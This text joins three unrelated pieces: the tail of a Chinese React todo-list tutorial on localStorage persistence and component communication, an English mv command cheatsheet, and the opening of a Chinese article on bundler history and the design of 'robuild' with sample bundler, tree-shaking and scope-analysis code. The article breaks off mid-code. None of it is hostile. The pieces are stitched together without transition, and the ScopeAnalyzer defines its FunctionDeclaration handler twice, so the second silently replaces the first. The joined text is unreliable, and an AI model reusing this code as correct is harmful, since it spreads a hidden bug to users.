[todos],表示只有当todos变化时才执行该函数。 - 组件首次渲染时也会执行一次(如果todos有初始值,就会保存一次,不影响)。
4.4 完整代码(包含持久化)
只需修改App.jsx,添加上述两处代码,其他组件完全不变。修改后的App.jsx如下:
import { useState, useEffect } from 'react';
import TodoList from './components/TodoList';
import TodoInput from './components/TodoInput';
import TodoStats from './components/TodoStats';
function App() {
// 初始化时从localStorage读取
const [todos, setTodos] = useState(() => {
const saved = localStorage.getItem('todos');
return saved ? JSON.parse(saved) : [];
});
// 添加任务
const addTodo = (text) => {
setTodos([...todos, { id: Date.now(), text, completed: false }]);
};
// 删除任务
const deleteTodo = (id) => {
setTodos(todos.filter(todo => todo.id !== id));
};
// 切换任务完成状态
const toggleTodo = (id) => {
setTodos(todos.map(todo =>
todo.id === id ? { ...todo, completed: !todo.completed } : todo
));
};
// 清除所有已完成任务
const clearCompleted = () => {
setTodos(todos.filter(todo => !todo.completed));
};
// 派生数据
const activeCount = todos.filter(todo => !todo.completed).length;
const completedCount = todos.filter(todo => todo.completed).length;
// 持久化:todos变化时自动保存
useEffect(() => {
localStorage.setItem('todos', JSON.stringify(todos));
}, [todos]);
return (
<div className="todo-app">
<h1>My Todo List</h1>
<TodoInput onAdd={addTodo} />
<TodoList
todos={todos}
onDelete={deleteTodo}
onToggle={toggleTodo}
/>
<TodoStats
total={todos.length}
active={activeCount}
completed={completedCount}
onClearCompleted={clearCompleted}
/>
</div>
);
}
export default App;
4.5 注意事项
-
useEffect在浏览器完成布局与绘制之后执行,不会阻塞渲染。 - 保存复杂对象时需要使用
JSON.stringify,读取时使用JSON.parse。 - 如果todos很大,频繁写入localStorage可能影响性能,可以添加防抖优化,但本例中无需。
4.6效果图
我们可以看到当页面刷新时原来的数据依然存在
五、总结与思考
5.1 三种通信方式回顾
| 通信类型 | 实现方式 | 代码示例 |
|---|---|---|
| 父→子 | props传递数据 | <TodoList todos={todos} /> |
| 子→父 | 父组件传递回调函数,子组件调用 |
onAdd={addTodo},子组件内onAdd(text)
|
| 兄弟↔兄弟 | 通过共同的父组件状态提升 | 兄弟组件都依赖父组件的todos,并通过父组件回调修改 |
5.2 持久化要点
- 使用
useState惰性初始化从localStorage读取初始数据。 - 使用
useEffect监听数据变化,自动同步到localStorage。
5.3 最佳实践总结
- 状态尽可能提升:需要共享的状态放在最近的共同父组件中。
- props只读:永远不要在子组件中修改props。
-
回调命名规范:以
on开头,如onDelete。 -
不可变更新:使用展开运算符或
map/filter返回新数组,不要直接修改原状态。 - 分离UI状态和业务状态:如表单输入使用内部state,核心数据放在父组件。
5.4 常见问题
Q:为什么子组件不能直接修改props? A:如果子组件可以修改props,数据变化源头将不可追溯,调试困难。React的设计哲学是数据自上而下流动,修改必须通过事件向上传递。
Q:兄弟组件必须通过父组件通信吗? A:如果它们没有共同的父组件,或者层级太深,可以使用Context或状态管理库。但大多数情况下,提升状态到共同父组件是最简单可靠的方式。
Q:使用useState更新数组/对象时,为什么一定要返回新引用?
A:React通过浅比较决定是否重新渲染。如果直接修改原数组,然后调用setTodos(todos),由于引用未变,React可能不会触发更新。必须返回一个新数组。
遇到问题欢迎留言讨论!
最后:希望这篇文章能帮你彻底搞懂React组件通信。如果你觉得有用,请点赞收藏,让更多初学者看到!
mv Cheatsheet
Basic Syntax
Core command forms for move and rename operations.
| Command | Description |
|---|---|
mv [OPTIONS] SOURCE DEST |
Move or rename one file/directory |
mv [OPTIONS] SOURCE... DIRECTORY |
Move multiple sources into destination directory |
mv file.txt newname.txt |
Rename file in same directory |
mv dir1 dir2 |
Rename directory |
Move Files
Move files between directories.
| Command | Description |
|---|---|
mv file.txt /tmp/ |
Move one file to another directory |
mv file1 file2 /backup/ |
Move multiple files |
mv *.log /var/log/archive/ |
Move files matching pattern |
mv /src/file.txt /dest/newname.txt |
Move and rename in one step |
Move Directories
Move or rename complete directory trees.
| Command | Description |
|---|---|
mv project/ /opt/ |
Move directory to another location |
mv olddir newdir |
Rename directory |
mv dir1 dir2 /dest/ |
Move multiple directories |
mv /src/dir /dest/dir-new |
Move and rename directory |
Overwrite Behavior
Control what happens when destination already exists.
| Command | Description |
|---|---|
mv -i file.txt /dest/ |
Prompt before overwrite |
mv -n file.txt /dest/ |
Never overwrite existing file |
mv -f file.txt /dest/ |
Force overwrite without prompt |
mv -u file.txt /dest/ |
Move only if source is newer |
Backup and Safety
Protect destination files while moving.
| Command | Description |
|---|---|
mv -b file.txt /dest/ |
Create backup of overwritten destination |
mv --backup=numbered file.txt /dest/ |
Numbered backups (.~1~, .~2~) |
mv -v file.txt /dest/ |
Verbose output |
mv -iv file.txt /dest/ |
Interactive + verbose |
Useful Patterns
Common real-world mv command combinations.
| Command | Description |
|---|---|
mv -- *.txt archive/ |
Move files when names may start with -
|
mv "My File.txt" /dest/ |
Move file with spaces in name |
find . -maxdepth 1 -name '*.tmp' -exec mv -t /tmp/archive {} + |
Move matched files safely with find
|
mv /path/file{,.bak} |
Quick rename via brace expansion |
Troubleshooting
Quick checks for common move/rename errors.
| Issue | Check |
|---|---|
No such file or directory |
Verify source path with ls -l source
|
Permission denied |
Check destination permissions and ownership |
| Wrong file overwritten | Use -i or -n for safer moves |
| Wildcard misses hidden files |
* does not match dotfiles by default |
| Option-like filename fails | Use -- before source names |
Related Guides
Use these guides for detailed move and rename workflows.
| Guide | Description |
|---|---|
How to Move Files in Linux with mv Command
|
Full mv guide with examples |
How to Rename Files in Linux
|
File renaming patterns and tools |
How to Rename Directories in Linux
|
Directory rename methods |
Cp Command in Linux: Copy Files and Directories
|
Compare copy vs move workflows |
构建工具的第三次革命:从 Rollup 到 Rust Bundler,我是如何设计 robuild 的
本文将从第一人称实战视角,深入探讨前端构建工具的技术演进,以及我在设计 robuild 过程中的架构思考与工程实践。
引言:为什么我们需要又一个构建工具?
在开始正文之前,我想先回答一个无法回避的问题:在 Webpack、Rollup、esbuild、Vite 已经如此成熟的今天,为什么还要设计一个新的构建工具?
答案很简单:库构建与应用构建是两个本质不同的问题域。
Webpack 为复杂应用而生,Vite 为开发体验而生,esbuild 为速度而生。但当我们需要构建一个 npm 库时,我们需要的是:
- 零配置:库作者不应该花时间在配置上
- 多格式输出:ESM、CJS、甚至 UMD 一键生成
-
类型声明:TypeScript 项目的
.d.ts自动生成 - Tree-shaking 友好:输出代码必须对消费者友好
- 极致性能:构建速度不应该成为开发瓶颈
robuild 就是为解决这些问题而设计的。它基于 Rolldown(Rust 实现的 Rollup 替代品)和 Oxc(Rust 实现的 JavaScript 工具链),专注于库构建场景。
接下来,让我从构建工具的历史演进说起。
第一章:构建工具的三次演进
1.1 第一次革命:Webpack 时代(2012-2017)
2012 年,Webpack 横空出世,彻底改变了前端工程化的格局。
在 Webpack 之前,前端工程师面对的是一个碎片化的世界:RequireJS 处理模块加载,Grunt/Gulp 处理任务流程,各种工具各司其职却又互不兼容。Webpack 的革命性在于它提出了一个统一的心智模型:一切皆模块。
// Webpack 的核心思想:统一的依赖图
// JS、CSS、图片、字体,都是图中的节点
module.exports = {
entry: './src/index.js',
module: {
rules: [
{ test: /\.css$/, use: ['style-loader', 'css-loader'] },
{ test: /\.png$/, use: ['file-loader'] }
]
}
}
Webpack 的架构基于以下核心概念:
- 依赖图(Dependency Graph):从入口点出发,递归解析所有依赖
- Loader 机制:将非 JS 资源转换为模块
- Plugin 系统:基于 Tapable 的事件驱动架构
- Chunk 分割:智能的代码分割策略
但 Webpack 也有其历史局限性:
- 配置复杂:动辄数百行的配置文件
- 构建速度:随着项目规模增长,构建时间呈指数级增长
- 输出冗余:运行时代码占比较高,不利于库构建
1.2 第二次革命:Rollup 时代(2017-2022)
2017 年左右,Rollup 开始崛起,它代表了一种完全不同的设计哲学:面向 ES Module 的静态分析。
Rollup 的核心创新是 Tree Shaking——通过静态分析 ES Module 的 import/export 语句,只打包实际使用的代码。这在库构建场景下意义重大:
// input.js
import { add, multiply } from './math.js'
console.log(add(2, 3))
// multiply 未使用
// math.js
export function add(a, b) { return a + b }
export function multiply(a, b) { return a * b }
// output.js (Rollup 输出,multiply 被移除)
function add(a, b) { return a + b }
console.log(add(2, 3))
Rollup 能做到这一点,是因为 ES Module 具有以下静态特性:
-
静态导入:
import语句必须在模块顶层,不能动态 -
静态导出:
export的绑定在编译时就能确定 - 只读绑定:导入的值不能被重新赋值
这使得编译器可以在构建时进行精确的依赖分析,而不需要运行代码。
作用域提升(Scope Hoisting) 是 Rollup 的另一个重要特性。与 Webpack 将每个模块包裹在函数中不同,Rollup 会将所有模块"展平"到同一个作用域:
// Webpack 风格的输出
var __webpack_modules__ = {
"./src/a.js": (module) => { module.exports = 1 },
"./src/b.js": (module, exports, require) => {
const a = require("./src/a.js")
module.exports = a + 1
}
}
// Rollup 风格的输出
const a = 1
const b = a + 1
这种输出更紧凑、运行时开销更低,非常适合库构建。
1.3 第三次革命:Rust Bundler 时代(2022-今)
2022 年开始,我们迎来了构建工具的第三次革命:Rust 重写一切。
这场革命的先驱是 esbuild(Go 语言)和 SWC(Rust)。它们用系统级语言重写了 JavaScript 的解析、转换、打包流程,获得了 10-100 倍的性能提升。
为什么 Rust 成为了这场革命的主角?
- 零成本抽象:高级语言特性不带来运行时开销
- 内存安全:编译器保证没有数据竞争和悬空指针
- 真正的并行:无 GC 停顿,能充分利用多核
- 可编译到 WASM:可以在浏览器和 Node.js 中运行
Rolldown 和 Oxc 是这场革命的最新成果:
Rolldown:Rollup 的 Rust 实现,由 Vue.js 团队主导,目标是成为 Vite 的默认打包器。它保持了 Rollup 的 API 兼容性,同时获得了 Rust 带来的性能优势。
Oxc:一个完整的 JavaScript 工具链,包括解析器、转换器、代码检查器、格式化器、压缩器。它的设计目标是成为 Babel、ESLint、Prettier、Terser 的统一替代品。
传统工具链 Oxc 工具链
Babel (转换) oxc-transform
ESLint (检查) → oxc-linter
Prettier (格式化) oxc-formatter
Terser (压缩) oxc-minify
robuild 选择基于 Rolldown + Oxc 构建,正是看中了这两个项目的技术潜力和生态定位。
第二章:理解 Bundler 核心原理
在深入 robuild 的设计之前,我想先从原理层面解释 Bundler 是如何工作的。我会实现一个 Mini Bundler,让你真正理解打包器的核心逻辑。
2.1 从零实现 Mini Bundler
一个最简的 Bundler 需要完成以下步骤:
- 解析:将源代码转换为 AST
- 依赖收集:从 AST 中提取 import 语句
- 依赖图构建:递归处理所有依赖,构建完整的模块图
- 打包:将所有模块合并为单个文件
下面是完整的实现代码:
// mini-bundler.js
// 一个完整的 Mini Bundler 实现,约 300 行代码
// 支持 ES Module 解析、依赖图构建、打包输出
import * as fs from 'node:fs'
import * as path from 'node:path'
import { parse } from '@babel/parser'
import traverse from '@babel/traverse'
import { transformFromAstSync } from '@babel/core'
// ============================================
// 第一部分:模块解析器
// ============================================
let moduleId = 0 // 模块计数器,用于生成唯一 ID
/**
* 解析单个模块
* @param {string} filePath - 模块文件的绝对路径
* @returns {Object} 模块信息对象
*/
function parseModule(filePath) {
const content = fs.readFileSync(filePath, 'utf-8')
// 1. 使用 Babel 解析为 AST
// 这里我们支持 TypeScript 和 JSX
const ast = parse(content, {
sourceType: 'module',
plugins: ['typescript', 'jsx']
})
// 2. 收集依赖信息
const dependencies = []
const imports = [] // 详细的导入信息
const exports = [] // 详细的导出信息
traverse.default(ast, {
// 处理 import 声明
// import { foo, bar } from './module'
// import defaultExport from './module'
// import * as namespace from './module'
ImportDeclaration({ node }) {
const specifier = node.source.value
dependencies.push(specifier)
// 提取导入的具体内容
const importedNames = node.specifiers.map(spec => {
if (spec.type === 'ImportDefaultSpecifier') {
return { type: 'default', local: spec.local.name }
}
if (spec.type === 'ImportNamespaceSpecifier') {
return { type: 'namespace', local: spec.local.name }
}
// ImportSpecifier
return {
type: 'named',
imported: spec.imported.name,
local: spec.local.name
}
})
imports.push({
specifier,
importedNames,
start: node.start,
end: node.end
})
},
// 处理动态 import()
// const mod = await import('./module')
CallExpression({ node }) {
if (node.callee.type === 'Import' &&
node.arguments[0]?.type === 'StringLiteral') {
dependencies.push(node.arguments[0].value)
imports.push({
specifier: node.arguments[0].value,
isDynamic: true,
start: node.start,
end: node.end
})
}
},
// 处理 export 声明
// export { foo, bar }
// export const x = 1
// export default function() {}
ExportNamedDeclaration({ node }) {
if (node.declaration) {
// export const x = 1
if (node.declaration.declarations) {
for (const decl of node.declaration.declarations) {
exports.push({
type: 'named',
name: decl.id.name,
local: decl.id.name
})
}
}
// export function foo() {}
else if (node.declaration.id) {
exports.push({
type: 'named',
name: node.declaration.id.name,
local: node.declaration.id.name
})
}
}
// export { foo, bar }
for (const spec of node.specifiers || []) {
exports.push({
type: 'named',
name: spec.exported.name,
local: spec.local.name
})
}
// export { foo } from './module'
if (node.source) {
dependencies.push(node.source.value)
}
},
ExportDefaultDeclaration({ node }) {
exports.push({ type: 'default', name: 'default' })
},
// export * from './module'
ExportAllDeclaration({ node }) {
dependencies.push(node.source.value)
exports.push({
type: 'star',
from: node.source.value,
as: node.exported?.name // export * as name
})
}
})
// 3. 转换代码:移除类型注解,转换为 CommonJS
// 这样我们可以在运行时执行
const { code } = transformFromAstSync(ast, content, {
presets: ['@babel/preset-typescript'],
plugins: [
['@babel/plugin-transform-modules-commonjs', {
strict: true,
noInterop: false
}]
]
})
return {
id: moduleId++,
filePath,
dependencies,
imports,
exports,
code,
ast
}
}
// ============================================
// 第二部分:模块路径解析
// ============================================
/**
* 解析模块路径
* 将 import 语句中的相对路径转换为绝对路径
*/
function resolveModule(specifier, fromDir) {
// 相对路径
if (specifier.startsWith('.') || specifier.startsWith('/')) {
let resolved = path.resolve(fromDir, specifier)
// 尝试添加扩展名
const extensions = ['.ts', '.tsx', '.js', '.jsx', '.mjs', '.json']
// 直接匹配文件
for (const ext of extensions) {
const withExt = resolved + ext
if (fs.existsSync(withExt)) {
return withExt
}
}
// 尝试 index 文件
for (const ext of extensions) {
const indexPath = path.join(resolved, `index${ext}`)
if (fs.existsSync(indexPath)) {
return indexPath
}
}
// 如果原路径存在(有扩展名的情况)
if (fs.existsSync(resolved)) {
return resolved
}
throw new Error(`Cannot resolve module: ${specifier} from ${fromDir}`)
}
// 外部模块(node_modules)
// 简化处理,返回原始标识符
return specifier
}
/**
* 判断是否为外部模块
*/
function isExternalModule(specifier) {
return !specifier.startsWith('.') && !specifier.startsWith('/')
}
// ============================================
// 第三部分:依赖图构建
// ============================================
/**
* 构建依赖图
* 从入口开始,递归解析所有模块
* @param {string} entryPath - 入口文件路径
* @returns {Array} 模块数组(拓扑排序)
*/
function buildDependencyGraph(entryPath) {
const absoluteEntry = path.resolve(entryPath)
const entryModule = parseModule(absoluteEntry)
// 广度优先遍历
const moduleQueue = [entryModule]
const moduleMap = new Map() // filePath -> module
moduleMap.set(absoluteEntry, entryModule)
for (const module of moduleQueue) {
const dirname = path.dirname(module.filePath)
// 存储依赖映射:相对路径 -> 模块 ID
module.mapping = {}
for (const dep of module.dependencies) {
// 跳过外部模块
if (isExternalModule(dep)) {
module.mapping[dep] = null // null 表示外部依赖
continue
}
// 解析依赖的绝对路径
const depPath = resolveModule(dep, dirname)
// 避免重复解析
if (moduleMap.has(depPath)) {
module.mapping[dep] = moduleMap.get(depPath).id
continue
}
// 解析新的依赖模块
const depModule = parseModule(depPath)
moduleMap.set(depPath, depModule)
moduleQueue.push(depModule)
module.mapping[dep] = depModule.id
}
}
// 返回模块数组
return Array.from(moduleMap.values())
}
// ============================================
// 第四部分:代码生成
// ============================================
/**
* 生成打包后的代码
* @param {Array} modules - 模块数组
* @returns {string} 打包后的代码
*/
function generateBundle(modules) {
// 生成模块定义
let modulesCode = ''
for (const mod of modules) {
// 每个模块包装为 [factory, mapping] 格式
// factory 是模块工厂函数
// mapping 是依赖映射表
modulesCode += `
// ${mod.filePath}
${mod.id}: [
function(module, exports, require) {
${mod.code}
},
${JSON.stringify(mod.mapping)}
],`
}
// 生成运行时代码
const runtime = `
// Mini Bundler 输出
// 生成时间: ${new Date().toISOString()}
(function(modules) {
// 模块缓存
const cache = {}
// 自定义 require 函数
function require(id) {
// 如果是外部模块(id 为 null),使用原生 require
if (id === null) {
throw new Error('External module should be loaded via native require')
}
// 检查缓存
if (cache[id]) {
return cache[id].exports
}
// 获取模块定义
const [factory, mapping] = modules[id]
// 创建模块对象
const module = {
exports: {}
}
// 缓存模块(处理循环依赖)
cache[id] = module
// 创建本地 require 函数
// 将相对路径映射为模块 ID
function localRequire(name) {
const mappedId = mapping[name]
// 外部模块
if (mappedId === null) {
// 在实际环境中,这里应该使用 native require
// 为了演示,我们抛出错误
if (typeof window === 'undefined') {
return require(name) // Node.js 环境
}
throw new Error(\`External module not available: \${name}\`)
}
return require(mappedId)
}
// 执行模块工厂函数
factory(module, module.exports, localRequire)
return module.exports
}
// 执行入口模块(ID 为 0)
require(0)
})({${modulesCode}
})
`
return runtime
}
// ============================================
// 第五部分:主入口
// ============================================
/**
* 打包入口
* @param {string} entryPath - 入口文件路径
* @param {string} outputPath - 输出文件路径
*/
function bundle(entryPath, outputPath) {
console.log(`\n📦 Mini Bundler`)
console.log(` Entry: ${entryPath}`)
console.log(` Output: ${outputPath}\n`)
// 1. 构建依赖图
console.log('1. Building dependency graph...')
const modules = buildDependencyGraph(entryPath)
console.log(` Found ${modules.length} modules:`)
for (const mod of modules) {
console.log(` - [${mod.id}] ${path.relative(process.cwd(), mod.filePath)}`)
console.log(` Deps: ${mod.dependencies.join(', ') || '(none)'}`)
}
// 2. 生成打包代码
console.log('\n2. Generating bundle...')
const bundledCode = generateBundle(modules)
// 3. 写入文件
const outputDir = path.dirname(outputPath)
if (!fs.existsSync(outputDir)) {
fs.mkdirSync(outputDir, { recursive: true })
}
fs.writeFileSync(outputPath, bundledCode, 'utf-8')
// 4. 输出统计
const stats = fs.statSync(outputPath)
console.log(`\n3. Bundle stats:`)
console.log(` Size: ${(stats.size / 1024).toFixed(2)} KB`)
console.log(` Modules: ${modules.length}`)
console.log(`\n✅ Bundle created successfully!`)
console.log(` ${outputPath}\n`)
return { modules, code: bundledCode }
}
// 导出 API
export {
bundle,
parseModule,
buildDependencyGraph,
generateBundle,
resolveModule
}
// CLI 支持
if (process.argv[2]) {
const entry = process.argv[2]
const output = process.argv[3] || './dist/bundle.js'
bundle(entry, output)
}
让我们用一个例子测试这个 Mini Bundler:
// src/index.js - 入口文件
import { add, multiply } from './math.js'
import { formatResult } from './utils/format.js'
const result = add(2, 3)
console.log(formatResult('2 + 3', result))
console.log(formatResult('2 * 3', multiply(2, 3)))
// src/math.js - 数学工具
export function add(a, b) {
return a + b
}
export function multiply(a, b) {
return a * b
}
export function subtract(a, b) {
return a - b
}
// src/utils/format.js - 格式化工具
export function formatResult(expression, result) {
return `${expression} = ${result}`
}
运行打包:
node mini-bundler.js src/index.js dist/bundle.js
输出:
📦 Mini Bundler
Entry: src/index.js
Output: dist/bundle.js
1. Building dependency graph...
Found 3 modules:
- [0] src/index.js
Deps: ./math.js, ./utils/format.js
- [1] src/math.js
Deps: (none)
- [2] src/utils/format.js
Deps: (none)
2. Generating bundle...
3. Bundle stats:
Size: 1.84 KB
Modules: 3
✅ Bundle created successfully!
dist/bundle.js
2.2 AST 依赖分析深入
上面的代码使用 Babel 进行解析。让我们更深入地看看 AST 依赖分析的细节。
ES Module 的依赖信息主要来自以下 AST 节点类型:
// 1. ImportDeclaration - 静态导入
import defaultExport from './module.js'
import { named } from './module.js'
import * as namespace from './module.js'
// 2. ExportNamedDeclaration - 具名导出(可能包含 re-export)
export { foo } from './module.js'
export { default as foo } from './module.js'
// 3. ExportAllDeclaration - 星号导出
export * from './module.js'
export * as name from './module.js'
// 4. ImportExpression - 动态导入
const mod = await import('./module.js')
下面是一个更完整的依赖提取实现:
/**
* 从 AST 中提取所有依赖信息
* 返回结构化的依赖对象
*/
function extractDependencies(ast, filePath) {
const result = {
// 静态导入
staticImports: [],
// 动态导入
dynamicImports: [],
// Re-export
reExports: [],
// CommonJS require(用于分析混合代码)
requires: [],
// 导出信息
exports: {
named: [], // export { foo }
default: false, // export default
star: [] // export * from
}
}
traverse.default(ast, {
// ===== 导入 =====
ImportDeclaration({ node }) {
const specifier = node.source.value
// 提取导入的具体绑定
const bindings = node.specifiers.map(spec => {
switch (spec.type) {
case 'ImportDefaultSpecifier':
return {
type: 'default',
local: spec.local.name,
imported: 'default'
}
case 'ImportNamespaceSpecifier':
return {
type: 'namespace',
local: spec.local.name,
imported: '*'
}
case 'ImportSpecifier':
return {
type: 'named',
local: spec.local.name,
imported: spec.imported.name
}
}
})
result.staticImports.push({
specifier,
bindings,
// 位置信息用于 source map 和错误报告
loc: {
start: node.loc.start,
end: node.loc.end
}
})
},
// 动态 import()
ImportExpression({ node }) {
const source = node.source
if (source.type === 'StringLiteral') {
// 静态字符串
result.dynamicImports.push({
specifier: source.value,
isDynamic: false,
loc: node.loc
})
} else {
// 动态表达式,无法静态分析
result.dynamicImports.push({
specifier: null,
isDynamic: true,
expression: source,
loc: node.loc
})
}
},
// ===== 导出 =====
ExportNamedDeclaration({ node }) {
// export { foo, bar as baz }
for (const spec of node.specifiers || []) {
result.exports.named.push({
exported: spec.exported.name,
local: spec.local.name
})
}
// export const x = 1 / export function foo() {}
if (node.declaration) {
const decl = node.declaration
if (decl.declarations) {
// VariableDeclaration
for (const d of decl.declarations) {
result.exports.named.push({
exported: d.id.name,
local: d.id.name
})
}
} else if (decl.id) {
// FunctionDeclaration / ClassDeclaration
result.exports.named.push({
exported: decl.id.name,
local: decl.id.name
})
}
}
// export { foo } from './module'
if (node.source) {
result.reExports.push({
specifier: node.source.value,
bindings: node.specifiers.map(spec => ({
exported: spec.exported.name,
imported: spec.local.name
})),
loc: node.loc
})
}
},
ExportDefaultDeclaration({ node }) {
result.exports.default = true
},
ExportAllDeclaration({ node }) {
result.exports.star.push({
specifier: node.source.value,
as: node.exported?.name || null
})
result.reExports.push({
specifier: node.source.value,
bindings: '*',
as: node.exported?.name,
loc: node.loc
})
},
// ===== CommonJS =====
CallExpression({ node }) {
// require('module')
if (node.callee.type === 'Identifier' &&
node.callee.name === 'require' &&
node.arguments[0]?.type === 'StringLiteral') {
result.requires.push({
specifier: node.arguments[0].value,
loc: node.loc
})
}
}
})
return result
}
2.3 Tree Shaking 简化实现
Tree Shaking 的核心是标记-清除算法:
- 标记阶段:从入口点开始,标记所有"活"的导出
- 清除阶段:移除所有未标记的代码
下面是一个简化的 Tree Shaking 实现:
/**
* 简化的 Tree Shaking 实现
* 核心思想:追踪哪些导出被使用了
*/
class TreeShaker {
constructor() {
this.modules = new Map() // moduleId -> ModuleInfo
this.usedExports = new Map() // moduleId -> Set<exportName>
this.sideEffectModules = new Set()
}
/**
* 添加模块到分析器
*/
addModule(moduleInfo) {
this.modules.set(moduleInfo.id, moduleInfo)
// 分析模块导出
moduleInfo.exportMap = new Map()
for (const exp of moduleInfo.exports) {
if (exp.type === 'named' || exp.type === 'default') {
moduleInfo.exportMap.set(exp.name, {
type: exp.type,
local: exp.local,
// 追踪导出来源(本地声明 or re-export)
source: exp.from || null
})
}
}
// 检测副作用
moduleInfo.hasSideEffects = this.detectSideEffects(moduleInfo)
}
/**
* 检测模块是否有副作用
* 副作用包括:顶层函数调用、全局变量修改等
*/
detectSideEffects(moduleInfo) {
const { ast } = moduleInfo
let hasSideEffects = false
traverse.default(ast, {
// 顶层表达式语句可能有副作用
ExpressionStatement(path) {
// 只检查顶层
if (path.parent.type === 'Program') {
const expr = path.node.expression
// 函数调用
if (expr.type === 'CallExpression') {
hasSideEffects = true
}
// 赋值表达式
if (expr.type === 'AssignmentExpression') {
// 检查是否是全局变量赋值
const left = expr.left
if (left.type === 'Identifier') {
// 简化判断:非 const/let/var 声明的赋值
hasSideEffects = true
}
if (left.type === 'MemberExpression') {
// window.foo = ... / global.bar = ...
hasSideEffects = true
}
}
}
}
})
return hasSideEffects
}
/**
* 从入口开始标记使用的导出
*/
markFromEntry(entryId) {
const entryModule = this.modules.get(entryId)
// 入口模块的所有导出都被认为"使用"
const allExports = Array.from(entryModule.exportMap.keys())
this.markUsed(entryId, allExports)
}
/**
* 标记模块的导出为已使用
*/
markUsed(moduleId, exportNames) {
// 初始化集合
if (!this.usedExports.has(moduleId)) {
this.usedExports.set(moduleId, new Set())
}
const used = this.usedExports.get(moduleId)
const module = this.modules.get(moduleId)
for (const name of exportNames) {
if (used.has(name)) continue // 已处理
used.add(name)
// 查找导出定义
const exportInfo = module.exportMap.get(name)
if (!exportInfo) continue
// 如果是 re-export,递归标记源模块
if (exportInfo.source) {
const sourceModule = this.findModuleBySpecifier(module, exportInfo.source)
if (sourceModule) {
this.markUsed(sourceModule.id, [exportInfo.local])
}
}
// 追踪本地导出引用的导入
this.traceImports(module, exportInfo.local)
}
// 如果模块有副作用,标记为必须包含
if (module.hasSideEffects) {
this.sideEffectModules.add(moduleId)
}
}
/**
* 追踪导出绑定使用的导入
*/
traceImports(module, localName) {
// 简化实现:标记该模块所有导入的模块
// 完整实现需要进行作用域分析
for (const imp of module.imports || []) {
// 检查导入的绑定是否被使用
for (const binding of imp.bindings || []) {
if (binding.local === localName) {
const sourceModule = this.findModuleBySpecifier(module, imp.specifier)
if (sourceModule) {
// 标记使用的具体导出
const usedExport = binding.imported === 'default'
? 'default'
: binding.imported
this.markUsed(sourceModule.id, [usedExport])
}
}
}
}
}
/**
* 根据模块说明符查找模块
*/
findModuleBySpecifier(fromModule, specifier) {
const targetId = fromModule.mapping?.[specifier]
if (targetId !== undefined && targetId !== null) {
return this.modules.get(targetId)
}
return null
}
/**
* 获取 Shake 后的结果
*/
getShakeResult() {
const includedModules = []
const excludedExports = new Map()
for (const [moduleId, module] of this.modules) {
const used = this.usedExports.get(moduleId) || new Set()
const hasSideEffects = this.sideEffectModules.has(moduleId)
// 包含条件:有使用的导出 OR 有副作用
if (used.size > 0 || hasSideEffects) {
includedModules.push({
id: moduleId,
path: module.filePath,
usedExports: Array.from(used),
hasSideEffects
})
// 记录未使用的导出
const allExports = Array.from(module.exportMap.keys())
const unused = allExports.filter(e => !used.has(e))
if (unused.length > 0) {
excludedExports.set(moduleId, unused)
}
}
}
return {
includedModules,
excludedExports,
stats: {
totalModules: this.modules.size,
includedModules: includedModules.length,
removedModules: this.modules.size - includedModules.length
}
}
}
}
// 使用示例
function performTreeShaking(modules, entryId) {
const shaker = new TreeShaker()
// 添加所有模块
for (const mod of modules) {
shaker.addModule(mod)
}
// 从入口开始标记
shaker.markFromEntry(entryId)
// 获取结果
return shaker.getShakeResult()
}
2.4 作用域分析核心思路
作用域分析是 Tree Shaking 和变量重命名的基础。核心挑战是正确处理 JavaScript 的作用域规则:
/**
* 作用域分析器
* 构建作用域树,追踪变量的声明和引用
*/
class ScopeAnalyzer {
constructor() {
this.scopes = []
this.currentScope = null
}
/**
* 分析 AST,构建作用域树
*/
analyze(ast) {
// 创建全局/模块作用域
this.currentScope = this.createScope('module', null)
traverse.default(ast, {
// ===== 作用域边界 =====
// 函数创建新作用域
FunctionDeclaration: (path) => {
this.enterFunctionScope(path)
},
'FunctionDeclaration:exit': () => {
this.exitScope()
},
FunctionExpression: (path) => {
this.enterFunctionScope(path)
},
'FunctionExpression:exit': () => {
this.exitScope()
},
ArrowFunctionExpression: (path) => {
this.enterFunctionScope(path)
},
'ArrowFunctionExpression:exit': () => {
this.exitScope()
},
// 块级作用域(if、for、while 等)
BlockStatement: (path) => {
// 只有包含 let/const 声明时才创建块级作用域
if (this.hasBlockScopedDeclarations(path.node)) {
this.enterBlockScope(path)
}
},
'BlockStatement:exit': (path) => {
if (this.hasBlockScopedDeclarations(path.node)) {
this.exitScope()
}
},
// ===== 声明 =====
VariableDeclaration: (path) => {
const kind = path.node.kind // var, let, const
for (const decl of path.node.declarations) {
this.declareBinding(decl.id, kind, path)
}
},
FunctionDeclaration: (path) => {
if (path.node.id) {
// 函数声明提升到外层作用域
this.declareBinding(path.node.id, 'function', path)
}
},
ClassDeclaration: (path) => {
if (path.node.id) {
this.declareBinding(path.node.id, 'class', path)
}
},
ImportDeclaration: (path) => {
for (const spec of path.node.specifiers) {
this.declareBinding(spec.local, 'import', path)
}
},
// ===== 引用 =====
Identifier: (path) => {
if (this.isReference(path)) {
this.recordReference(path.node.name, path)
}
}
})
return this.scopes
}
/**
* 创建新作用域
*/
createScope(type, parent) {
const scope = {
id: this.scopes.length,
type, // 'module', 'function', 'block'
parent,
children: [],
bindings: new Map(), // name -> BindingInfo
references: [], // 引用列表
// 统计信息
stats: {
declarations: 0,
references: 0
}
}
if (parent) {
parent.children.push(scope)
}
this.scopes.push(scope)
return scope
}
/**
* 进入函数作用域
*/
enterFunctionScope(path) {
const scope = this.createScope('function', this.currentScope)
this.currentScope = scope
// 函数参数作为绑定
for (const param of path.node.params || []) {
this.declarePattern(param, 'param')
}
}
/**
* 进入块级作用域
*/
enterBlockScope(path) {
const scope = this.createScope('block', this.currentScope)
this.currentScope = scope
}
/**
* 退出当前作用域
*/
exitScope() {
this.currentScope = this.currentScope.parent
}
/**
* 声明绑定
*/
declareBinding(id, kind, path) {
const name = id.name
// var 声明提升到函数作用域
const targetScope = kind === 'var'
? this.findFunctionScope()
: this.currentScope
// 创建绑定信息
const binding = {
name,
kind, // 'var', 'let', 'const', 'function', 'class', 'param', 'import'
node: id,
path,
scope: targetScope,
references: [],
isExported: false,
isUsed: false
}
targetScope.bindings.set(name, binding)
targetScope.stats.declarations++
return binding
}
/**
* 处理解构模式
*/
declarePattern(pattern, kind) {
switch (pattern.type) {
case 'Identifier':
this.declareBinding(pattern, kind, null)
break
case 'ObjectPattern':
for (const prop of pattern.properties) {
if (prop.type === 'RestElement') {
this.declarePattern(prop.argument, kind)
} else {
this.declarePattern(prop.value, kind)
}
}
break
case 'ArrayPattern':
